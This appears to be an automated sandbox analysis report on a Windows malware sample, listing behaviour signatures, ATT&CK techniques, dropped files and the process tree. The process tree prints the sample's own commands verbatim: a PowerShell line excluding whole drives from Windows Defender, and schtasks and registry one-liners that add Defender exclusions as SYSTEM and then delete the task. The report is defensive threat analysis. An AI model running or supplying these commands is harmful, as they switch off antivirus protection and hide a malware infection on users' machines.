Analysis
- max time kernel
148s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
15/08/2026, 03:07
General
- Target appinst_up002.exe
- Size 36.8MB
- Sample260815-dmn6raytc1
- SHA256 8902512371f295191f3a308d2f7e49779df4faba395dc95cf156e0dd354063b8
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Indicator Removal: Clear Persistence 1 TTPs 2 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
- Drops file in System32 directory 1 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 5 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\appinst_up002.exe"C:\Users\Admin\AppData\Local\Temp\appinst_up002.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Users\Public\igbmp8\e8UlIu.exe"C:\Users\Public\igbmp8\e8UlIu.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\igbmp8\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
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C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\igbmp8\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
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C:\Users\Public\igbmp8\e8UlIu.exe"C:\Users\Public\igbmp8\e8UlIu.exe"1⤵
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\igbmp8" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
UxEnhance64.dll
adoresd.dat
e8UlIu.exe
msadox.tb
memory/768-1-0x00000000044B0000-0x00000000044BE000-memory.dmp
memory/768-2-0x00000000044C0000-0x00000000044CC000-memory.dmp
memory/768-504-0x00007FFEB6D60000-0x00007FFEB6D72000-memory.dmp
memory/768-525-0x00007FFEB6D60000-0x00007FFEB6D72000-memory.dmp
memory/768-524-0x00000000044B0000-0x00000000044BE000-memory.dmp
memory/768-0-0x00000000044B0000-0x00000000044BE000-memory.dmp
memory/5800-539-0x0000022CFB0E0000-0x0000022CFB971000-memory.dmp
memory/5800-550-0x0000022CFB0E0000-0x0000022CFB971000-memory.dmp
memory/5800-536-0x0000022CFB0E0000-0x0000022CFB971000-memory.dmp
memory/5800-538-0x00007FFEBF720000-0x00007FFEBF722000-memory.dmp
memory/5800-530-0x00007FFEBF710000-0x00007FFEBF712000-memory.dmp
memory/5800-543-0x0000022CFB0E0000-0x0000022CFB971000-memory.dmp
memory/5800-544-0x0000022CFB0E0000-0x0000022CFB971000-memory.dmp
memory/5800-545-0x0000022CFB0E0000-0x0000022CFB971000-memory.dmp
memory/5800-546-0x0000022CFB0E0000-0x0000022CFB971000-memory.dmp
memory/5800-531-0x00007FFE9CB00000-0x00007FFE9D01E000-memory.dmp
memory/5800-556-0x0000022CFA640000-0x0000022CFA68E000-memory.dmp
memory/5800-559-0x0000022CFB980000-0x0000022CFBA0A000-memory.dmp
memory/5800-558-0x0000022CFB980000-0x0000022CFBA0A000-memory.dmp
memory/5800-561-0x0000022CFB980000-0x0000022CFBA0A000-memory.dmp
memory/5800-560-0x0000022CFB980000-0x0000022CFBA0A000-memory.dmp
memory/5800-563-0x0000022CFB0E0000-0x0000022CFB971000-memory.dmp
memory/5800-565-0x0000022CFB0E0000-0x0000022CFB971000-memory.dmp
memory/5984-573-0x00007FFE9CB00000-0x00007FFE9D01E000-memory.dmp
memory/5984-576-0x000001A309130000-0x000001A3099C1000-memory.dmp